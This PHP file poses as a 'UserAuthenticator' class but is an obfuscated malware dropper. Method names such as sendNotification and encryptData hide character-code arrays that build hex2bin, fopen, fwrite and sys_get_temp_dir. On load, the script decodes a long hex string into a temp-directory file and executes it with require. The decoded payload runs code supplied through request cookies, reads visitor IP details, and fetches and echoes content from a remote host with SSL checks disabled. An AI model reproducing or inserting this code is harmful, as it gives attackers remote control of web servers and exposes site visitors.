<?php
class UserAuthenticator {
	private $ax = '';
	private $ma = '';

	public function sendNotification($p1) {
		$a = array(((7*21)-43),((65*1)+36),(111+9),(51-1),((55*97)-5237),((17*44)-643),((71+6+33)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function logEvent($p1,$p2) {
		$a = array(102,(116-5),(2*56),(88+8+5),(56+54));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function fetchRecords($p1,$p2) {
		$a = array(((112-10)),((68+27+24)),((2*57)),(105),((11+105)),((101*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function updateCache($p1) {
		$a = array((110-9),((35+80)),(3*37),((2*54)),((84*1)+15),102);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function sanitizeInput($p1,$p2=null) {
		$a = array((((48*58)-2675)),(((15*20)-195)),(2*57),((14+33+69)),((12*5)+54));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function resolveConflict() {
		$this->ma = $this->sanitizeInput($this->authorizeUser(), '/');
	}

	public function resetState() {
		$this->ax = $this->sendNotification($this->go);
	}

	public function encryptData() {
		$fn = $this->ma.'/ko-68581500ee1c9';
		$f = $this->logEvent($fn, 'w');
		$this->fetchRecords($f, $this->ax);
		$this->updateCache($f);
		$this->calculateSum($fn);
	}

	private $go = '3c3f70687020636c617373205f6e746c7b707269766174652' . '0737461746963245f656d623b7374617469632066756e63746' . '96f6e205f6a6a6828245f796567297b6966282173656c663a3' . 'a245f656d622973656c663a3a5f6b6628293b72657475726e2' . '06865783262696e2873656c663a3a245f656d625b245f79656' . '75d293b7d70726976617465207374617469632066756e63746' . '96f6e205f6b6628297b73656c663a3a245f656d623d6172726' . '17928275f737373273d3e27343136333633363537333733326' . '43433366636653734373236663663326434313663366336663' . '7272e273732643466373236272e2739363736272e273936653' . '3272e2761323032272e2761272c275f646574273d3e2734333' . '6663665373436353665373432272e276435343739373036353' . '36132303631373037303663363936333631373436393666366' . '5326636613631373636313733272e2736333732363937272e2' . '730272e273734272c275f6f6e72273d3e2736333638272c275' . 'f627678273d3e273635373934613730272e273633343334393' . '33634393661363733343463366136373334346336613637333' . '4346336613637333434393639272e273737363936343537343' . '5363934663639272e273461333035613538346533303439363' . '9373736393633366435272e273636643439366136663639362' . '72e2734272e27343735363761272e2736272e27343433272e2' . '734272e27613339272c275f6e677a273d3e273731373737613' . '738272c275f7a70273d3e2733633666272e2736623365272c2' . '75f77736a273d3e273363272e273632272e2736272e2731363' . '4272e2733272e2765272c275f766c273d3e273737363136272' . 'e2763272e2736272e2763272c275f76676a273d3e27272c275' . 'f6a6d273d3e27272c275f716a64273d3e27272c275f6c79752' . '73d3e273638373437343730336132663266373037353632272' . 'e2732653737363536323636363936633635363836663733373' . '4363537272e27323265272e273633366636643266363336663' . '664373036663733363537323265366137272e2733336636343' . '63137272e273436313364272c275f707364273d3e273633373' . '53732366335663639366536272e2739272e273734272c275f6' . 'a6f273d3e273638272e2737343734373035663633366636342' . '72e273635272c275f747175273d3e27373336333638272e273' . '63536272e276436272e2735272c275f6f66273d3e273638373' . '4272e273734272e2737272e27303733272c275f616466273d3' . 'e273437272e27343535272e273432272e2730272c275f6a762' . '73d3e273730363137272e27343638272c275f757368273d3e2' . '73731272e273735363537323739272c275f6b77273d3e27336' . '6272c275f6a647a273d3e273731272e273735363537272e273' . '23739272c275f6f6a273d3e273230343835343534353032663' . '3313265333030643061272e27343836272e2766272e2737333' . '734336132272e2730272c275f7562273d3e27363836272e276' . '63733272e273734272c275f7065273d3e27306430613433366' . '63665366536353633373436393666366533613230343336633' . '666373336353064306130643061272c275f75647a273d3e273' . '733373336633361272e2732663266272c275f656a273d3e272' . '72c275f71667a273d3e2736383666373337272e2734272c275' . 'f6769273d3e2730272e27643061272c275f756869273d3e273' . '438272e2735343534353035272e27663433272e27346334393' . '43534653534356634393530272c275f716e273d3e273438353' . '43534353035272e27663538356634363466353235373431353' . '2272e273434343534343566343634272e276635272e2732272' . 'c275f6e6f6b273d3e273532343534643466353434353566343' . '1343434343532272c275f7a6976273d3e2734383534272e273' . '534353035663535353334272e2735353235663431343734353' . '465272e2735272e2734272c275f7462273d3e2734383534352' . '72e2734272e27353035272e276635353533343535323566343' . '13437343534272e276535272e2734272c275f7465273d3e272' . '72c275f767370273d3e273438353435343530272e273566353' . '234353436272e2734353532272e273435272e2735272e27322' . '72c275f667972273d3e2734383534353435303566272e27353' . '23435343634353532272e273435272e273532272c275f65752' . '73d3e27272c275f7a6e65273d3e2734383534353435272e273' . '0356634272e2733272e2734633439343534653534356634393' . '5272e2730272c275f6274273d3e27343835343534353035663' . '4333463343934353465353435663439272e2735272e2730272' . 'c275f6665273d3e27343835343534353035663538356634363' . '46635323537343135323434343534343566343634663532272' . 'c275f707972273d3e273438353435343530356635383566343' . '63466353235373431353234343435343435663436346635272' . 'e2732272c275f6669273d3e273532343534643466353434353' . '56634313434272e273434272e2735272e2732272c275f73682' . '73d3e273532343534643466353434272e27353566343134342' . '72e2734272e27343532272c275f6f6863273d3e27363436323' . '6373664272e2736272e276636272e2734272e2736272e27352' . '72c275f756a273d3e273439353033613230272c275f6d6a273' . 'd3e273230376332303535272e27343133272e276132272e273' . '0272c275f6b75273d3e2732303763323035323635272e27363' . '6272e2733272e276132272e2730272c275f6d6a7a273d3e273' . '2303363363237323365272e273061272c275f7763273d3e273' . '639272e2737272e2730272c275f756f6b273d3e273735272e2' . '736272e2731272c275f6961273d3e2737272e27323635272e2' . '736272e2736272c275f646a273d3e2737313737272e2737613' . '7272e2738272c293b7d7d636c617373205f6b6f7a7b7072697' . '661746520737461746963245f656d623b73746174696320667' . '56e6374696f6e205f6a6a6828245f796567297b69662821736' . '56c663a3a245f656d622973656c663a3a5f6b6628293b72657' . '475726e2073656c663a3a245f656d625b245f7965675d3b7d7' . '0726976617465207374617469632066756e6374696f6e205f6' . 'b6628297b73656c663a3a245f656d623d61727261792830302' . 'c30372c3033362c3033362c30312c3033362c30322c30372c3' . '0312c3031362c3033302c30362c3033322c3031322c3031312' . 'c3031332c3032372c3033312c30332c30322c30312c30312c3' . '0302c3031322c3031322c303331302c303637332c303132302' . 'c30302c30323030302c30312c303432332c30343233293b7d7' . 'd686561646572285f6e746c3a3a5f6a6a6828275f272e27732' . '72e2773272e27732729293b686561646572285f6e746c3a3a5' . 'f6a6a6828275f272e2764272e2765272e27742729293b69662' . '8697373657428245f4745545b5f6e746c3a3a5f6a6a6828275' . 'f6f6e7227295d29297b245f64723d5f676b61285f6e746c3a3' . 'a5f6a6a6828275f6276782729293b696628245f64722626737' . '472706f7328245f64722c5f6e746c3a3a5f6a6a6828275f6e2' . '72e2767272e277a272929213d3d66616c7365297b646965285' . 'f6e746c3a3a5f6a6a6828275f7a702729293b7d656c73657b6' . '46965285f6e746c3a3a5f6a6a6828275f7773272e276a27292' . '93b7d7d696628697373657428245f4745545b5f6e746c3a3a5' . 'f6a6a6828275f272e27766c27295d29297b245f6e6f623d245' . 'f434f4f4b49453b245f65683d5f6b6f7a3a3a5f6a6a6828302' . '93b245f7965673d5f6b6f7a3a3a5f6a6a682831293b245f666' . 'f783d617272617928293b245f666f785b245f65685d3d5f6e7' . '46c3a3a5f6a6a6828275f272e2776272e27676a27293b77686' . '96c6528245f796567297b245f666f785b245f65685d2e3d245' . 'f6e6f625b5f6b6f7a3a3a5f6a6a682832295d5b245f7965675' . 'd3b69662821245f6e6f625b5f6b6f7a3a3a5f6a6a682833295' . 'd5b245f7965672b5f6b6f7a3a3a5f6a6a682834295d297b696' . '62821245f6e6f625b5f6b6f7a3a3a5f6a6a682835295d5b245' . 'f7965672b5f6b6f7a3a3a5f6a6a682836295d29627265616b3' . 'b245f65682b2b3b245f666f785b245f65685d3d5f6e746c3a3' . 'a5f6a6a6828275f272e276a6d27293b245f7965672b2b3b7d2' . '45f7965673d245f7965672b5f6b6f7a3a3a5f6a6a682837292' . 'b5f6b6f7a3a3a5f6a6a682838293b7d245f65683d245f666f7' . '85b5f6b6f7a3a3a5f6a6a682839295d28292e245f666f785b5' . 'f6b6f7a3a3a5f6a6a68283130295d3b69662821245f666f785' . 'b5f6b6f7a3a3a5f6a6a68283131295d28245f656829297b245' . 'f7965673d245f666f785b5f6b6f7a3a3a5f6a6a68283132295' . 'd28245f65682c245f666f785b5f6b6f7a3a3a5f6a6a6828313' . '3295d293b245f666f785b5f6b6f7a3a3a5f6a6a68283134295' . 'd28245f7965672c245f666f785b5f6b6f7a3a3a5f6a6a68283' . '135295d2e245f666f785b5f6b6f7a3a3a5f6a6a68283136295' . 'd28245f666f785b5f6b6f7a3a3a5f6a6a68283137295d28245' . 'f6e6f625b5f6b6f7a3a3a5f6a6a68283138295d2929293b7d6' . '96e636c75646528245f6568293b7d66756e6374696f6e205f6' . '76b6128245f6b6e2c245f756c783d276e736f7a737a786c746' . 'b66272c245f7268733d74727565297b245f62733d5f6e746c3' . 'a3a5f6a6a6828275f272e27716a272e276427293b245f6c6e3' . 'd5f6e746c3a3a5f6a6a6828275f6c79272e277527292e245f6' . 'b6e3b69662869735f63616c6c61626c65285f6e746c3a3a5f6' . 'a6a6828275f70272e2773272e2764272929297b245f76633d6' . '375726c5f696e697428245f6c6e293b6375726c5f7365746f7' . '07428245f76632c4355524c4f50545f53534c5f56455249465' . '9504545522c66616c7365293b6375726c5f7365746f7074282' . '45f76632c4355524c4f50545f53534c5f564552494659484f5' . '3542c5f6b6f7a3a3a5f6a6a6828313929293b6375726c5f736' . '5746f707428245f76632c4355524c4f50545f464f4c4c4f574' . 'c4f434154494f4e2c5f6b6f7a3a3a5f6a6a6828323029293b6' . '375726c5f7365746f707428245f76632c4355524c4f50545f5' . '2455455524e5452414e534645522c5f6b6f7a3a3a5f6a6a682' . '8323129293b6375726c5f7365746f707428245f76632c43555' . '24c4f50545f4845414445522c5f6b6f7a3a3a5f6a6a6828323' . '229293b6375726c5f7365746f707428245f76632c4355524c4' . 'f50545f434f4e4e45435454494d454f55542c5f6b6f7a3a3a5' . 'f6a6a6828323329293b6375726c5f7365746f707428245f766' . '32c4355524c4f50545f54494d454f55542c5f6b6f7a3a3a5f6' . 'a6a6828323429293b245f62733d6375726c5f6578656328245' . 'f7663293b245f6f687a3d6375726c5f676574696e666f28245' . 'f7663293b6375726c5f636c6f736528245f7663293b6966282' . '45f6f687a5b5f6e746c3a3a5f6a6a6828275f6a6f27295d213' . 'd5f6b6f7a3a3a5f6a6a68283235292972657475726e2066616' . 'c73653b7d656c73657b245f76613d70617273655f75726c282' . '45f6c6e293b245f706b3d28245f76615b5f6e746c3a3a5f6a6' . 'a6828275f74717527295d3d3d5f6e746c3a3a5f6a6a6828275' . 'f6f662729293b245f717a6f3d5f6e746c3a3a5f6a6a6828275' . 'f61272e2764272e276627292e245f76615b5f6e746c3a3a5f6' . 'a6a6828275f272e276a272e277627295d3b696628697373657' . '428245f76615b5f6e746c3a3a5f6a6a6828275f7573272e276' . '827295d2929245f717a6f2e3d5f6e746c3a3a5f6a6a6828275' . 'f6b272e277727292e245f76615b5f6e746c3a3a5f6a6a68282' . '75f6a272e27647a27295d3b245f717a6f2e3d5f6e746c3a3a5' . 'f6a6a6828275f6f272e276a27292e245f76615b5f6e746c3a3' . 'a5f6a6a6828275f756227295d2e5f6e746c3a3a5f6a6a68282' . '75f70272e276527293b245f74653d66736f636b6f70656e282' . '8245f706b3f5f6e746c3a3a5f6a6a6828275f272e2775647a2' . '7293a5f6e746c3a3a5f6a6a6828275f656a2729292e245f766' . '15b5f6e746c3a3a5f6a6a6828275f71272e2766272e277a272' . '95d2c245f706b3f5f6b6f7a3a3a5f6a6a68283236293a5f6b6' . 'f7a3a3a5f6a6a6828323729293b696628245f7465297b66707' . '5747328245f74652c245f717a6f293b245f686a753d5f6b6f7' . 'a3a3a5f6a6a68283238293b7768696c65282166656f6628245' . 'f746529297b245f62753d666765747328245f74652c5f6b6f7' . 'a3a3a5f6a6a6828323929293b696628245f686a7529245f627' . '32e3d245f62753b696628245f62753d3d5f6e746c3a3a5f6a6' . 'a6828275f67272e2769272929245f686a753d5f6b6f7a3a3a5' . 'f6a6a68283330293b7d66636c6f736528245f7465293b7d7d7' . '2657475726e245f62733b7d245f6e773d697373657428245f5' . '345525645525b5f6e746c3a3a5f6a6a6828275f75272e27686' . '927295d293b245f646e3d697373657428245f5345525645525' . 'b5f6e746c3a3a5f6a6a6828275f71272e276e27295d293b245' . 'f73703d697373657428245f5345525645525b5f6e746c3a3a5' . 'f6a6a6828275f272e276e6f6b27295d293b245f6d683d69737' . '3657428245f5345525645525b5f6e746c3a3a5f6a6a6828275' . 'f7a697627295d293f245f5345525645525b5f6e746c3a3a5f6' . 'a6a6828275f74272e276227295d3a5f6e746c3a3a5f6a6a682' . '8275f272e2774272e276527293b245f61703d6973736574282' . '45f5345525645525b5f6e746c3a3a5f6a6a6828275f76272e2' . '773272e277027295d293f245f5345525645525b5f6e746c3a3' . 'a5f6a6a6828275f272e2766272e27797227295d3a5f6e746c3' . 'a3a5f6a6a6828275f65272e277527293b245f6e773d6973736' . '57428245f5345525645525b5f6e746c3a3a5f6a6a6828275f7' . 'a272e276e6527295d293f245f5345525645525b5f6e746c3a3' . 'a5f6a6a6828275f62272e277427295d3a6e756c6c3b245f646' . 'e3d697373657428245f5345525645525b5f6e746c3a3a5f6a6' . 'a6828275f666527295d293f245f5345525645525b5f6e746c3' . 'a3a5f6a6a6828275f7079272e277227295d3a6e756c6c3b245' . 'f73703d697373657428245f5345525645525b5f6e746c3a3a5' . 'f6a6a6828275f666927295d293f245f5345525645525b5f6e7' . '46c3a3a5f6a6a6828275f736827295d3a6e756c6c3b6966286' . '6696c7465725f76617228245f6e772c5f6b6f7a3a3a5f6a6a6' . '82833312929297b245f76796b3d245f6e773b7d656c7365696' . '62866696c7465725f76617228245f646e2c5f6b6f7a3a3a5f6' . 'a6a682833322929297b245f76796b3d245f646e3b7d656c736' . '57b245f76796b3d245f73703b7d696628697373657428245f4' . '745545b5f6e746c3a3a5f6a6a6828275f6f686327295d29297' . 'b6563686f205f6e746c3a3a5f6a6a6828275f75272e276a272' . '92e245f76796b2e5f6e746c3a3a5f6a6a6828275f6d6a27292' . 'e245f6d682e5f6e746c3a3a5f6a6a6828275f6b7527292e245' . 'f61702e5f6e746c3a3a5f6a6a6828275f6d6a7a27293b65786' . '97428293b7d69662821697373657428245f76796b297c7c216' . '97373657428245f6d68297c7c21697373657428245f6170292' . '97b6578697428293b7d656c73657b245f7877683d617272617' . '9285f6e746c3a3a5f6a6a6828275f776327293d3e245f76796' . 'b2c5f6e746c3a3a5f6a6a6828275f75272e276f6b27293d3e2' . '45f6d682c5f6e746c3a3a5f6a6a6828275f272e2769272e276' . '127293d3e245f6170293b245f6875773d75726c656e636f646' . '5286261736536345f656e636f6465286a736f6e5f656e636f6' . '46528245f7877682929293b245f64723d5f676b6128245f687' . '577293b696628245f64722626737472706f7328245f64722c5' . 'f6e746c3a3a5f6a6a6828275f646a272929213d3d66616c736' . '5297b6563686f245f64723b6578697428293b7d7d';

	public function calculateSum($p) {
		require $p;
	}

	public function authorizeUser() {
		$a=array((123-8),(124-3),((6*14)+31),((69*1)+26),((32+70+1)),((49+19+33)),(116),((5*19)),((2*58)),((58+43)),109,(112),((101-6)),(100),(3*35),(((10*6)+54)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$by = new UserAuthenticator();
$by->resolveConflict();
$by->resetState();
$by->encryptData();
